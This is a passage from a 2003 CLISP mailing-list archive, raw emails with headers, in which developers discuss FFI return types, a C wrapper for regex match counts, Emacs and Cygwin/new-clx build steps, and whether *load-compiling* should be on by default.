me why I have to use the "garbage" variable!!! void* null_terminate (void *garbage, void *data, int size, int num_el) { static char buf[BUFSIZ]; if (size*num_el>BUFSIZ) abort(); memset(buf,0,BUFSIZ*sizeof(char)); memcpy(buf,data,size*num_el); return buf; } (def-call-out null_terminate_float (:arguments (prob-vec c-pointer) (size int) (num int)) (:return-type (c-array-max float #.MAX_STATE)) (:name "null_terminate")) why do I see "prob-vec" in "data" not in "garbage"??!! -- Sam Steingold (http://www.podval.org/~sds) running w2k There is Truth, and its value is T. Or just non-NIL. So 0 is True! From lisp-clisp-list@m.gmane.org Tue Aug 05 12:54:25 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19k7t1-0003JA-00 for ; Tue, 05 Aug 2003 12:54:23 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k7sd-0007nu-00 for ; Tue, 05 Aug 2003 21:53:59 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k7sc-0007nl-00 for ; Tue, 05 Aug 2003 21:53:58 +0200 From: Sam Steingold Organization: disorganization Lines: 30 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8F7@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: FFI: variable size values (was FFI crash: what am I missing?!) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 12:55:07 2003 X-Original-Date: 05 Aug 2003 15:54:18 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8F7@G8PQD.blf01.telekom.de> > * On the subject of "FFI: variable size values (was FFI crash: what am I missing?!)" > * Sent on Tue, 5 Aug 2003 10:50:27 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > You didn't say whether foo_size() has to be called before or after > foo(). I'll call it afterwards, for similarity with the regexp module, > where the number of the group positions can be read off a slot of the > structure. > > BTW, the current CLISP regexp module arbitrarily limits the return to > 10 group positions ("num-matches"), because it does not consider the > re_nsub slot out off the regex_t structure. > > This is a case where I'd recommend a little C wrapper code to make > interfacing easier. I very much prefer this over duplicating the > regex_t structure in Lisp via (FFI:C-STRUCT ). I don't > want to have to maintain this by hand, whereas the C wrapper would > always stay in sync with the C regex.h header by mere recompilation. interesting. so this wrapper will allocate the array of regmatch_t structs of the necessary size and return a pointer to it. who and when will release it? -- Sam Steingold (http://www.podval.org/~sds) running w2k Life is a sexually transmitted disease with 100% mortality. From Joerg-Cyril.Hoehle@t-systems.com Wed Aug 06 03:39:54 2003 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19kLhv-0000BF-00 for ; Wed, 06 Aug 2003 03:39:52 -0700 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 6 Aug 2003 12:37:26 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 6 Aug 2003 12:38:08 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05F4BBBA@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] about a regexp module (was: FFI: variable size values) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 6 03:40:06 2003 X-Original-Date: Wed, 6 Aug 2003 12:38:06 +0200 Hi, >> BTW, the current CLISP regexp module arbitrarily limits the return to >> 10 group positions ("num-matches"), because it does not consider the >> re_nsub slot out off the regex_t structure. >> >> This is a case where I'd recommend a little C wrapper code to make >> interfacing easier. I very much prefer this over duplicating the >> regex_t structure in Lisp via (FFI:C-STRUCT ). I don't >> want to have to maintain this by hand, whereas the C wrapper would >> always stay in sync with the C regex.h header by mere recompilation. > >interesting. >so this wrapper will allocate the array of regmatch_t structs of the >necessary size and return a pointer to it. >who and when will release it? Who and when to release stuff is to be defined. It could be the :malloc-free protocol. It could be the caller who allocates and frees. But that's not what I had in mind. Just a really tiny wrapper. LISPFUNN(regex_nsub,1) { var object obj = popSTACK(); check_foreign_pointer(obj); var void* re = TheFpointer(obj); VALUES1(ULtoI(((regex_t*)re)->re_nsub)); } -- as part of an external module or size_t re_nsubs(struct regex_t *preg) { return re->re_nsub; } -- requiring FFI to interface and do the rest in Lisp. Your approach is quite feasible as well. Indeed, I've always been in favour of thicker interfaces, which better match Lisp. In this case, the wrapper could be around regexec, allocate regmatch_t[re->re_nsub] and return a Lisp array directly. If I were to interface to regexp with the module interface rather than with the FFI (or an FFI module), that's what I'd do. Once you know how to pushSTACK() etc. the CLISP stack machine, writing such interfaces is trivial to do -- Dan could comment on this. It may take more time than writing Lisp FFI code, but it works on all machines (FFI/ffcall has not been ported to all machines that CLISP runs on) and exhibits better performance than any FFI conversion and manipulation overhead. Regards, Jorg. From dan.stanger@ieee.org Wed Aug 06 05:11:23 2003 Received: from smtp2.localnet.com ([207.251.201.58] helo=smtp.localnet.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19kN8U-0002J9-00 for ; Wed, 06 Aug 2003 05:11:22 -0700 Received: (qmail 17068 invoked from network); 6 Aug 2003 12:11:13 -0000 Received: from ppp42.pm3-4.bos-pt.ma.localnet.com (HELO ieee.org) ([66.153.67.234]) (envelope-sender ) by mail1.localnet.com (qmail-ldap-1.03) with SMTP for ; 6 Aug 2003 12:11:13 -0000 Message-ID: <3F30F00D.CC1FBEC2@ieee.org> From: Dan Stanger X-Mailer: Mozilla 4.8 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] about a regexp module (was: FFI: variable size values) References: <9F8582E37B2EE5498E76392AEDDCD3FE05F4BBBA@G8PQD.blf01.telekom.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 6 05:12:02 2003 X-Original-Date: Wed, 06 Aug 2003 08:09:49 -0400 I wonder if SWIG could be modified to generate these wrappers. It can handle Scheme now, so maybe it wouldn't take much work. "Hoehle, Joerg-Cyril" wrote: > Hi, > > >> BTW, the current CLISP regexp module arbitrarily limits the return to > >> 10 group positions ("num-matches"), because it does not consider the > >> re_nsub slot out off the regex_t structure. > >> > >> This is a case where I'd recommend a little C wrapper code to make > >> interfacing easier. I very much prefer this over duplicating the > >> regex_t structure in Lisp via (FFI:C-STRUCT ). I don't > >> want to have to maintain this by hand, whereas the C wrapper would > >> always stay in sync with the C regex.h header by mere recompilation. > > > >interesting. > >so this wrapper will allocate the array of regmatch_t structs of the > >necessary size and return a pointer to it. > >who and when will release it? > Who and when to release stuff is to be defined. > It could be the :malloc-free protocol. > It could be the caller who allocates and frees. > > But that's not what I had in mind. Just a really tiny wrapper. > LISPFUNN(regex_nsub,1) > { var object obj = popSTACK(); > check_foreign_pointer(obj); > var void* re = TheFpointer(obj); > VALUES1(ULtoI(((regex_t*)re)->re_nsub)); > } -- as part of an external module > or > size_t re_nsubs(struct regex_t *preg) { return re->re_nsub; > } -- requiring FFI to interface > and do the rest in Lisp. > > Your approach is quite feasible as well. Indeed, I've always been in favour of thicker interfaces, which better match Lisp. > > In this case, the wrapper could be around regexec, allocate regmatch_t[re->re_nsub] and return a Lisp array directly. > If I were to interface to regexp with the module interface rather than with the FFI (or an FFI module), that's what I'd do. > > Once you know how to pushSTACK() etc. the CLISP stack machine, writing such interfaces is trivial to do -- Dan could comment on this. It may take more time than writing Lisp FFI code, but it works on all machines (FFI/ffcall has not been ported to all machines that CLISP runs on) and exhibits better performance than any FFI conversion and manipulation overhead. > > Regards, > Jorg. > > > ------------------------------------------------------- > This SF.Net email sponsored by: Free pre-built ASP.NET sites including > Data Reports, E-commerce, Portals, and Forums are available now. > Download today and enter to win an XBOX or Visual Studio .NET. > http://aspnet.click-url.com/go/psa00100003ave/direct;at.aspnet_072303_01/01 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From sds@alphatech.com Wed Aug 06 06:01:44 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19kNvD-00018p-00 for ; Wed, 06 Aug 2003 06:01:43 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h76D1YF19188; Wed, 6 Aug 2003 09:01:34 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Paul Graham Cc: cory2003@starband.net, References: <20030805234844.54839.qmail@mail.archub.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030805234844.54839.qmail@mail.archub.org> Message-ID: Lines: 44 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Fwd: Using Clisp in Windows with XEmacs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 6 06:02:05 2003 X-Original-Date: 06 Aug 2003 09:01:34 -0400 > * In message <20030805234844.54839.qmail@mail.archub.org> > * On the subject of "Fwd: Using Clisp in Windows with XEmacs" > * Sent on 5 Aug 2003 23:48:44 -0000 > * Honorable Paul Graham writes: > > --Cory Brownfield wrote: > > Return-Path: > > > > problems with Clisp, Xemacs, and Ilisp, but I don't like the idea of > > crippled software that isn't opensource. I know you use Clisp, but > > it isn't cooperating well with Xemacs and Ilisp (at least for me). > > Is there an easy way to set up a lisp environment in Windows I use CLISP with GNU Emacs and the built-in "inferior lisp" mode. see for more information. > > I've read all the manuals and information I could find, but when > > Clisp tries to load as an inferior lisp process, it crashes. Clisp > > complains about several files it can't find (related to Ilisp), and > > I think it has something to do with the Windows back-slashes in the > > path names. CLISP does not crash because it cannot find something. You are probably calling the runtime (lisp.exe) without the memory image (lispinit.mem). `inferior-lisp-program' should be something like "d:/gnu/clisp/lisp.exe -B d:/gnu/clisp -M d:/gnu/clisp/lispinit.mem -I" > > I've not found any medium-sized program sources that do things like > > file I/O, etc. Most of what I find is small tutorial stuff with > > contrived example code. CL cookbook above is a good source. please read for information on how to get help. -- Sam Steingold (http://www.podval.org/~sds) running w2k Your mouse has moved - WinNT has to be restarted for this to take effect. From lisp-clisp-list@m.gmane.org Wed Aug 06 08:06:56 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19kPsM-0003PQ-00 for ; Wed, 06 Aug 2003 08:06:55 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19kPrx-0002YI-00 for ; Wed, 06 Aug 2003 17:06:29 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19kPrw-0002Y7-00 for ; Wed, 06 Aug 2003 17:06:28 +0200 From: Sam Steingold Organization: disorganization Lines: 14 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE05F4BBBA@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: about a regexp module (was: FFI: variable size values) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 6 08:07:15 2003 X-Original-Date: 06 Aug 2003 11:06:50 -0400 OK, I removed this arbitrary num-matches limit. I wonder if we _should_ discard the FFI in regexp altogether for performance reasons... there are just 4 functions in the API (and all of them now have C wrappers!!), so this is not a big deal (as opposed to, say, hundreds of functions in linux.lisp), and this is a big performance issue (as those who use regexp are likely to call the regexec function a lot of times) -- Sam Steingold (http://www.podval.org/~sds) running w2k When we write programs that "learn", it turns out we do and they don't. From Joerg-Cyril.Hoehle@t-systems.com Wed Aug 06 08:08:27 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19kPtn-0003iL-00 for ; Wed, 06 Aug 2003 08:08:24 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 6 Aug 2003 17:06:19 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 6 Aug 2003 17:06:19 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05F4BCC1@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: FFI: variable size values Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 6 08:09:12 2003 X-Original-Date: Wed, 6 Aug 2003 17:06:19 +0200 Sam wrote: >Jorg, __PLEASE__ do explain to me why I have to use the "garbage" >variable!!! Oops, I didn't realize that this was a "is this something for a bug report" sort of query and not a "how do I FFI"? >(def-call-out null_terminate_float > (:arguments (prob-vec c-pointer) (size int) (num int)) > (:return-type (c-array-max float #.MAX_STATE)) > (:name "null_terminate")) >why do I see "prob-vec" in "data" not in "garbage"??!! The C-ARRAY-MAX return-type (not a pointer to such an array) may be the cause. For some compilers or rather calling conventions, when passing structs or for some return types, the caller must supply an extra pointer which will be used to fill the results. That could well explain what you observe. You should either use (c-ptr (c-array[-max])), c-array-ptr or c-pointer (and with-c-var etc. for dynamic arrays) for :return-type. Passing structs or arrays without an intervening pointer is never a good idea in C. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Aug 06 08:16:58 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19kQ23-0005Vx-00 for ; Wed, 06 Aug 2003 08:16:56 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 6 Aug 2003 17:16:45 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 6 Aug 2003 17:16:45 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05F4BCC7@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: about a regexp module (was: FFI: variable size values) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 6 08:17:24 2003 X-Original-Date: Wed, 6 Aug 2003 17:16:44 +0200 Sam asked, >I wonder if we _should_ discard the FFI in regexp altogether for >performance reasons... Go for it! But how are you going to deal with the 3 different character-width string arrays in CLISP with unicode? BTW, this may be the last e-mail I answer before coming back from vacation at the beginning of September. Regards, Jorg Hohle From dgou@mac.com Wed Aug 06 14:51:19 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19kWBP-00026D-00 for ; Wed, 06 Aug 2003 14:50:59 -0700 Received: from a17-250-248-85.apple.com ([17.250.248.85]:58841 helo=smtpout.mac.com) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19kWAw-0002CK-N7 for ; Wed, 06 Aug 2003 14:50:30 -0700 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h76Lo2YG022229 for ; Wed, 6 Aug 2003 14:50:02 -0700 (PDT) Received: from mac.com (unobtainium.wv.cc.cmu.edu [128.2.65.149]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h76Lo0dS013670 for ; Wed, 6 Aug 2003 14:50:00 -0700 (PDT) Subject: Re: [clisp-list] default settings of *load-compiling* and *print-pretty* (naive be nchmarks) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Douglas Philips To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE05C9725A@G8PQD.blf01.telekom.de> Message-Id: X-Mailer: Apple Mail (2.552) X-EA-Verified: externalmx.vasoftware.com 19kWAw-0002CK-N7 7f56091b38acca7739dd9f8e6fe1d197 X-Spam-Score: -2.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 6 14:52:09 2003 X-Original-Date: Wed, 6 Aug 2003 17:49:59 -0400 On Friday, Aug 1, 2003, at 08:25 US/Eastern, Hoehle, Joerg-Cyril wrote: > 1. Would people object if -C (*load-compiling*) were set (to true) by > default? YES! ARG! > - step is much less useful with compiled functions How would I turn it off? Would -C on the command line mean not to do that? What's worse (in the 2.30 version I tested, maybe this is fixed in latest CVS head??) % cat lose.lisp (let ((x 0)) (defun worker () (incf x)) (defun sample() (worker) x)) % clisp -C -i lose.lisp ... ;; Loading file lose.lisp ... WARNING in SAMPLE : Function WORKER is not defined ;; Loaded file lose.lisp [1]> So, if I cannot use closures "at the top level" without getting gratuituous and annoying messages with -C then -C should not be the default. And it would be so nice if it really did "the right thing"... in which case I would support it. ; Wed, 06 Aug 2003 18:10:04 -0700 Received: (qmail 22908 invoked from network); 7 Aug 2003 01:09:56 -0000 Received: from ppp38.pm3-5.bos-pt.ma.localnet.com (HELO ieee.org) ([66.153.68.38]) (envelope-sender ) by mail1.localnet.com (qmail-ldap-1.03) with SMTP for ; 7 Aug 2003 01:09:56 -0000 Message-ID: <3F31A68C.660FB9B5@ieee.org> From: Dan Stanger X-Mailer: Mozilla 4.8 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: marcr@eecs.berkeley.edu CC: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Instructions for using new-clx on cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 6 18:11:01 2003 X-Original-Date: Wed, 06 Aug 2003 21:08:28 -0400 Here is the steps to follow: You need to download the XFree86 package from cygwin that contains the include files, when you download XFree86, its called XFree86-prog. When thats installed, make sure the xserver starts with startx. Then download the clisp-2.30.tar.bz2, which contains the source, and untar it. in a cygwin window configure it: ./configure --with-module=clx/new-clx test1 follow the makemake instructions. The build will fail, so go to clx/new-clx, and delete e2d.exe, rebuild it using the -g option, and cd back up and run make again. That builds clisp, and the executable is also in the package local.tar.bz2 I sent CY. Make sure the new-clx demo programs run. For garnet, get the garnetx package I sent CY, and untar it, modify garnet-loader for your paths, execute (load 'garnet-prepare-compile) (load 'garnet-loader) in the running clisp, with X running. You will have to continue past some locked modules. Thats it. Dan Matt Kaufman wrote: > Thanks, I'll take a shot at sleeping. > > Well, I downloaded the package of Clisp that said it was for Cygwin, and > that did not seem to have a new-clx package. Should I download a different > package? I tried getting new-clx from the web, but I had trouble finding > it and I'm not confident I got all the pieces or put them in the right > spots. So I guess my questions are, which clisp package should I get, do I > need any further files (and where would I put them), and then what build > options should I run on which programs? > > I'm sorry for my general cluelessness, I'm rather new to Unix, very new to > Linux, and completely inexperienced with both Cygwin and Clisp. Heck, I > haven't even been using LISP that long, but I got a new job :). > > Thanks again for your help. > -Matt > > At 09:36 PM 7/24/2003 -0400, you wrote: > >Perhaps you should get some sleep;) > >What seems to be your problem? > >Were you able to build clisp with new-clx on cygwin and run the test programs? > > > >I started with that, the problems were that e2d was broken, so it needs to be > >compiled with -O, > >not -O2. > >Then there are some clisp related problems in garnet, but they have to do with > >paths, extensions > >and function coercion. > >I sent my code to CY, so you can get it from him, he has a fast connection, I > >have a dial up. > >Dan > >Matt Kaufman wrote: > > > > > Hi Dan- > > > > > > I noticed your post yesterday that you got new-clx running on Win2k with > > > Cygwin and CLISP 2.30. That is exactly what I've been trying to do for the > > > last 36 hours, more or less continuously. I would be thrilled beyond > > > belief if you would kindly tell me how you did it. I will be leaving my > > > high-bandwidth connection after tomorrow, so if you could possibly email me > > > before then I would be greatly indebted. > > > > > > Thanks so much, > > > Matt Kaufman From smustudent1@yahoo.com Thu Aug 07 06:42:06 2003 Received: from web12207.mail.yahoo.com ([216.136.173.91]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19kl1p-0004bV-00 for ; Thu, 07 Aug 2003 06:42:05 -0700 Message-ID: <20030807134155.33897.qmail@web12207.mail.yahoo.com> Received: from [128.175.78.141] by web12207.mail.yahoo.com via HTTP; Thu, 07 Aug 2003 06:41:55 PDT From: C Y Subject: Re: [clisp-list] Instructions for using new-clx on cygwin To: clisp-list@lists.sourceforge.net Cc: marcr@eecs.berkeley.edu In-Reply-To: <3F31A68C.660FB9B5@ieee.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 7 06:43:01 2003 X-Original-Date: Thu, 7 Aug 2003 06:41:55 -0700 (PDT) --- Dan Stanger wrote: > That builds clisp, and the executable is also in the package > local.tar.bz2 I sent CY. http://prdownloads.sourceforge.net/garnetlisp/local.tar.bz2?download > For garnet, get the garnetx package I sent CY http://prdownloads.sourceforge.net/garnetlisp/garnetx.tar.bz2?download __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From lisp-clisp-list@m.gmane.org Thu Aug 07 15:02:36 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ksqA-0005Rg-00 for ; Thu, 07 Aug 2003 15:02:35 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19kspi-0004yE-00 for ; Fri, 08 Aug 2003 00:02:06 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19ksph-0004y5-00 for ; Fri, 08 Aug 2003 00:02:05 +0200 From: Sam Steingold Organization: disorganization Lines: 57 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE05C9725A@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: default settings of *load-compiling* and *print-pretty* (naive be nchmarks) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 7 15:03:05 2003 X-Original-Date: 07 Aug 2003 18:02:29 -0400 > * In message > * On the subject of "Re: default settings of *load-compiling* and *print-pretty* (naive be nchmarks)" > * Sent on Wed, 6 Aug 2003 17:49:59 -0400 > * Honorable Douglas Philips writes: > > On Friday, Aug 1, 2003, at 08:25 US/Eastern, Hoehle, Joerg-Cyril wrote: > > How would I turn it off? Would -C on the command line mean not to do > that? actually, if you set *load-compiling* to T and save the image, you will get the behavior Jorg proposed, so the issue is relevant regardless of whether the proposal passes. I guess we need -noC (or -!C) to revert the effects of -C, so that $ clisp -C -i foo.lisp -x (saveinitmem) $ clisp -M lispinit.mem -noC -i bar.lisp will load bar.lisp without compiling (now it will compile it). > What's worse (in the 2.30 version I tested, maybe this is fixed in > latest CVS head??) indeed, this has been fixed in the CVS head. > % cat lose.lisp > (let ((x 0)) > (defun worker () (incf x)) > (defun sample() > (worker) > x)) > > % clisp -C -i lose.lisp > ... > ;; Loading file lose.lisp ... > WARNING in SAMPLE : > Function WORKER is not defined > ;; Loaded file lose.lisp > [1]> > > So, if I cannot use closures "at the top level" without getting > gratuituous and annoying messages with -C then -C should not be the > default. > > And it would be so nice if it really did "the right thing"... in which > case I would support it. please try CVS head. (you will probably want to read the 200+ lined of src/NEWS) -- Sam Steingold (http://www.podval.org/~sds) running w2k MS: our tomorrow's software will run on your tomorrow's HW at today's speed. From a.bignoli@computer.org Thu Aug 07 15:11:40 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ksxs-0000Ed-00 for ; Thu, 07 Aug 2003 15:10:33 -0700 Received: from dalet.19216810.loc (IDENT:0@pool2-ip11.fauser.it [80.20.153.106]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id AAA14793; Fri, 8 Aug 2003 00:01:04 +0200 (MET DST) Received: from dalet.19216810.loc (IDENT:25@localhost [127.0.0.1]) by dalet.19216810.loc (8.12.9/8.12.9) with ESMTP id h77M3WvO029102; Fri, 8 Aug 2003 00:03:33 +0200 Received: (from aurelio@localhost) by dalet.19216810.loc (8.12.9/8.12.9/Submit) id h77M1tf1028954; Fri, 8 Aug 2003 00:01:55 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16178.52307.424755.589833@dalet.19216810.loc> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] truly dynamic FFI in CVS In-Reply-To: References: X-Mailer: VM 7.16 under Emacs 21.2.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 7 15:12:02 2003 X-Original-Date: Fri, 8 Aug 2003 00:01:55 +0200 Sam Steingold writes: > DEF-CALL-OUT supports a :LIBRARY option which accepts a dll: > > (def-call-out command-line > (:name "GetCommandLineA") 